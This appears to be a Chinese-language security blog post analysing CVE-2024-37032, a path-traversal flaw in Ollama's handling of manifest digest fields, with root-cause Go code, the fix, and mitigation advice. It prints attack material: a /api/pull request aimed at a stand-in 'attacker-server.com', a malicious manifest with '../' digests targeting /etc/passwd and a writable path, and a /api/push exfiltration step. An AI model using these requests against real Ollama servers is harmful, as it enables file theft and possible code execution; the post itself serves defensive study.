摘要: 本文旨在为安全研究人员、开发者及系统管理员深入剖析近期披露的Ollama严重漏洞——CVE-2024-37032。该漏洞被评为高危,其根源在于Ollama处理模型清单(manifest)文件时,对digest字段存在路径遍历缺陷。文章将从防御者视角,详细拆解攻击者如何通过架设恶意注册表服务器(rogue registry),诱导受害者Ollama实例拉取一个包含恶意digest(如../../etc/passwd)的清单文件,从而绕过文件系统边界,实现任意文件读取,并可能进一步升级为任意文件写入乃至远程代码执行(RCE)。本文将结合源码分析modelpath.go中的GetBlobsPath函数),揭示漏洞的具体成因及官方的修复方案(严格校验digest格式)。最后,文章将提供明确的受影响版本范围、复现步骤参考以及关键的缓解与修复建议。

关键词: CVE-2024-37032, Ollama, 路径遍历, 任意文件读取, RCE, 漏洞分析, Go, 安全编码, 输入验证, Docker Registry


Ollama作为一款极受欢迎的、用于在本地运行大型语言模型(LLM)的开源工具,其简洁易用性赢得了广泛赞誉。然而,一个编号为CVE-2024-37032的高危漏洞的披露,为我们敲响了警钟:即使是面向本地环境设计的工具,其与外部世界的交互点(如此处的模型拉取机制)也可能成为攻击者入侵的“特洛伊木马”。

该漏洞允许未经身份验证的攻击者,通过巧妙地操纵Ollama与(伪造的)模型注册表的交互,实现服务器上的任意文件读取,甚至可能升级为远程代码执行。本文将带你深入这个漏洞的核心,理解其原理,并掌握有效的防御之道。

1. 受影响产品介绍

Ollama是一个开源工具,旨在简化在本地计算机上运行和管理大型语言模型(如Llama 2, Mistral等)的过程。它提供了一个命令行界面和一个API服务器,允许用户轻松下载、运行和创建自定义模型。其核心功能之一,就是模仿Docker Hub等容器镜像仓库的机制,从远程“注册表”(Registry)拉取(pull)模型文件。

2. 漏洞详情

2.1 漏洞原理

CVE-2024-37032的本质是一个经典的**路径遍历(Path Traversal)**漏洞。它发生在Ollama处理从远程注册表下载的模型“清单”(manifest)文件时。清单文件中包含了一个digest字段,它本应是一个文件的SHA256哈希值,用于唯一标识和校验模型层(layer)文件。

然而,存在漏洞的Ollama版本未能严格校验digest字段的格式。它错误地允许该字段包含../等路径控制字符。当Ollama使用这个被污染的digest值去构建本地文件路径以查找或存储模型层时,路径遍历就发生了,导致Ollama访问到了其数据存储目录之外的文件系统位置。

2.2 漏洞技术细节:攻击流程

攻击者利用此漏洞需要一个“配合”:一个由攻击者控制的、伪装成合法模型注册表的恶意服务器(Rogue Registry)

  1. 初始化请求 (Attacker -> Victim Ollama): 攻击者向目标Ollama服务器(假设其未配置认证)的/api/pull端点发送一个POST请求,要求它从攻击者的恶意服务器上拉取一个“模型”。

    JSON

    POST /api/pull HTTP/1.1
    Host: victim-ollama-server:11434
    Content-Type: application/json
    
    {
      "name": "attacker-server.com/rogue/model:latest", 
      "insecure": true // 允许使用HTTP,绕过SSL证书验证
    }
    
    • name: 指向攻击者的恶意服务器和任意模型名称。

    • insecure: true: 是攻击成功的关键之一,避免了配置HTTPS证书的麻烦。

  2. Ollama请求清单 (Victim Ollama -> Attacker Server): 受害者Ollama服务器收到请求后,会按照Docker Registry V2 API规范,向attacker-server.com请求模型的清单文件。例如,它会发出类似 GET /v2/rogue/model/manifests/latest 的请求。

  3. 恶意服务器响应 (Attacker Server -> Victim Ollama): 攻击者的服务器返回一个精心构造的、恶意的清单文件(manifest)。这个JSON文件的关键在于其configlayers数组中的digest字段被注入了路径遍历Payload。

    恶意清单示例 (manifest.json)

    JSON

    {
      "schemaVersion": 2,
      "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
      "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        // 关键Payload:将digest替换为路径遍历序列
        "digest": "../../../../../../../../../../../../../etc/passwd", 
        "size": 10 // size值不重要
      },
      "layers": [
        {
          "mediaType": "application/vnd.ollama.image.model", // 示例类型
          // 也可以在layers中注入
          "digest": "../../../../../../../../../../../../../some/writable/path/evil.sh", 
          "size": 10
        }
        // ... 其他层 ...
      ]
    }
    
  4. 漏洞触发 (Victim Ollama): Ollama接收并解析这个恶意的清单文件。当它尝试根据digest字段的值去定位或创建本地缓存文件时,由于未能过滤../,操作系统会将路径解析到digest所指向的、预期之外的位置(例如/etc/passwd)。

  5. 数据获取/写入

    • 任意文件读取:如果digest指向一个存在的文件(如/etc/passwd),Ollama可能会尝试读取它(例如,作为配置层或模型层),攻击者后续可以通过其他API(如下文提到的/api/push)或通过观察错误信息来间接获取文件内容。

    • 任意文件写入(潜在RCE):如果digest指向一个可写的路径(例如,../../tmp/payload),并且Ollama的逻辑涉及到向这个路径写入数据(例如,下载并保存模型层),攻击者就可能实现任意文件写入。如果能写入到Web目录、计划任务目录或覆盖可执行文件,就可能升级为远程代码执行。

  6. 数据回传 (Attacker -> Victim Ollama -> Attacker Server): 公开的PoC利用了/api/push接口。在通过/api/pull触发了文件读取后,攻击者再向/api/push发送请求,指定一个目标(同样可以是攻击者的恶意服务器)。Ollama在处理push时,会尝试将之前根据恶意digest“读取”到的内容(即/etc/passwd的内容)发送回攻击者的服务器。

2.3 Payload作用原理总结

Payload成功的核心在于利用了Ollama实现的多个缺陷的组合:

  • digest字段输入验证缺失:未能强制要求digest必须是SHA256格式,也未能过滤路径遍历字符。

  • 信任外部清单:过度信任从(可能被insecure: true指定的)外部注册表获取的清单文件的内容。

  • 文件路径构建缺陷:直接将未经验证的digest用于拼接本地文件路径。

  • API设计问题 (次要)/api/push等接口可能在设计时未充分考虑到内容来源已被污染的可能性。

3. 漏洞源码分析

3.1 问题代码定位

根据公开信息,漏洞的核心代码位于Ollama源码的server/modelpath.go文件中,具体是在处理模型层Blob路径的函数,如GetBlobsPath(或类似功能函数)。

3.2 脆弱代码片段 (v0.1.33及之前)

原理性的脆弱代码模式如下(非直接复制代码,但反映核心问题):

Go

// modelpath.go (Vulnerable Version - Conceptual)
import "path/filepath"

// GetBlobsPath 返回给定digest对应的blob文件的预期路径
func GetBlobsPath(digest string) string {
    // 假设 blobsDir 是存储模型层的根目录, e.g., "/var/ollama/data/blobs"
    blobsDir := getBlobsRootDir() 

    // 致命缺陷:直接使用 filepath.Join 拼接未经验证的 digest
    // filepath.Join 会清理路径,但不会阻止 '..' 向上跳转
    // 例如, Join("/root", "../etc/passwd") 会得到 "/etc/passwd"
    blobPath := filepath.Join(blobsDir, "sha256", digest) 
    
    // 如果 digest 是 "../../../etc/passwd", blobPath 将指向 /etc/passwd
    return blobPath
}

问题分析filepath.Join虽然会处理多余的斜杠,但它不会阻止合法的路径遍历序列..。代码完全信任了digest参数,认为它一定是一个合法的哈希值,而没有进行任何格式校验。

3.3 修复分析 (v0.1.34)

Ollama在v0.1.34版本中修复了此漏洞(相关commit: 2a21363bb756a7341d3d577f098583865bd7603f)。修复的核心是增加了对digest格式的严格验证

修复后的代码逻辑(原理性)

Go

// modelpath.go (Fixed Version - Conceptual)
import (
	"path/filepath"
	"regexp"
	"fmt"
)

// 定义一个严格匹配SHA256哈希格式的正则表达式
var sha256Regex = regexp.MustCompile(`^[a-fA-F0-9]{64}$`)

func GetBlobsPath(digest string) (string, error) {
    // --- 核心修复:增加格式校验 ---
    if !sha256Regex.MatchString(digest) {
        return "", fmt.Errorf("invalid digest format: %s", digest) 
    }
    // --- 修复结束 ---

    blobsDir := getBlobsRootDir()
    // 此时的 digest 已经保证是合法的SHA256哈希,不再包含'..'等危险字符
    blobPath := filepath.Join(blobsDir, "sha256", digest)
    
    return blobPath, nil
}

修复解读:通过引入正则表达式^[a-fA-F0-9]{64}$,强制要求digest必须是一个由64位十六进制字符组成的字符串。任何包含../或其他非法字符的输入都会在第一时间被拒绝,路径遍历漏洞被彻底根除。

4. 漏洞影响与危害

  • 影响范围:所有 Ollama < 0.1.34 版本。

  • 潜在危害

    • 数据泄露:读取服务器任意文件,窃取敏感配置、代码、用户数据等。

    • 系统瘫痪:通过写入关键系统文件或耗尽资源导致服务中断。

    • 权限提升/RCE:如果能写入WebShell、计划任务或覆盖可执行文件,即可获得服务器的完全控制权。

    • 内网跳板:以此服务器为据点,对内部网络发起进一步攻击。

5. 复现与验证 (参考)

  • 环境搭建:可以使用官方提供的历史版本Docker镜像快速搭建漏洞环境:docker run -d --rm -p 11434:11434 --name ollama-vuln ollama/ollama:0.1.33

  • 漏洞验证PoC:社区已公开多个PoC脚本(如GitHub上的Bi0x/CVE-2024-37032),通常包含一个server.py(模拟恶意注册表)和一个poc.py(向目标Ollama发送请求)。按照其说明运行即可验证漏洞。

6. 缓解与修复建议

  1. 【核心】立即升级:将Ollama立即升级到 0.1.34 或更高版本。这是最根本、最有效的解决方案。

  2. 网络隔离绝不将未配置认证的Ollama实例暴露在公网上。使用防火墙或安全组,将Ollama API端口(默认为11434)的访问权限,严格限制在可信的IP地址范围内(例如,仅允许本地或内部开发网络访问)。

  3. 禁用模型拉取(如果可行):如果你的Ollama实例仅用于运行本地已有的模型,不需要从外部注册表拉取新模型,可以考虑通过网络策略阻止其出站访问外部HTTP/HTTPS端口。但这会影响其核心功能。

  4. 运行时监控 (EDR/RASP):部署EDR等工具,监控Ollama进程是否有异常的文件访问行为(访问/etc/等敏感目录)或创建可疑子进程的行为。

7. 总结

CVE-2024-37032是“信任”与“验证”失衡的又一个典型案例。Ollama在与外部注册表交互时,未能充分验证对方提供的数据(digest字段),导致了这个严重的安全漏洞。

它带给我们的教训是:

  • 输入验证无处不在:即使是看似内部使用的、由协议定义的字段(如digest),如果其来源不可信,也必须进行严格的格式和内容校验。

  • “便利”可能隐藏风险insecure: true这样的选项虽然方便了开发和测试,但在生产环境中应极度审慎使用,因为它直接绕过了TLS提供的身份验证和信道安全。

  • 及时更新是生命线:对于任何开源软件,保持关注其安全公告并及时应用补丁,是避免成为已知漏洞受害者的不二法门。

请立即检查你环境中运行的Ollama实例,确保它们已经得到修复或采取了有效的缓解措施。


如果您觉得这篇文章对您有帮助,请不要吝啬您的点赞收藏!您的支持是我创作的最大动力!

Logo

加入社区!打开量化的大门,首批课程上线啦!

更多推荐